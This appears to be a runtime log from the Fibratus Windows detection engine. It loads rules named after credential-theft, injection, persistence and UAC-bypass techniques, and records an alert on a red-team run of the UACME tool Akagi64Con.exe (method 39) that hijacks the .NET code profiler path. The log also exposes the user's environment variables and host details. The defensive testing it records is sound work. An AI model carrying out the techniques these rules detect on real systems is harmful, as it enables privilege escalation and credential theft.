+time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:35:29+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:35:29+01:00 level=info msg=bootstrapping with pid 12740. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:35:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-image=>true flush-interval=>1s max-buffers=>36 min-buffers=>16 enable-audit-api=>true enable-handle=>false enable-thread=>true enable-net=>true enable-vamap=>true enable-fileio=>true enable-dns=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-threadpool=>false buffer-size=>512 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ amqp=>[ delivery-mode=>transient enabled=>false tls-insecure-skip-verify=>false passive=>false durable=>false url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic exchange=>fibratus timeout=>5s vhost=>/] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ serializer=>json endpoints=>[] enabled=>false timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false] elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s healthcheck-interval=>10s flush-period=>1s bulk-workers=>1 template-name=>fibratus enabled=>false trace-log=>false gzip-compression=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-files=>[] skip-mmaps=>false skip-files=>false skip-registry=>false enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:35:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:35:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:35:44+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 5646933 + Pid: 10408 + Tid: 8712 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 20:35:37.9647833 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce8633c437a0, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 10408 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T20:36:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:36:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:36:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:36:44+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 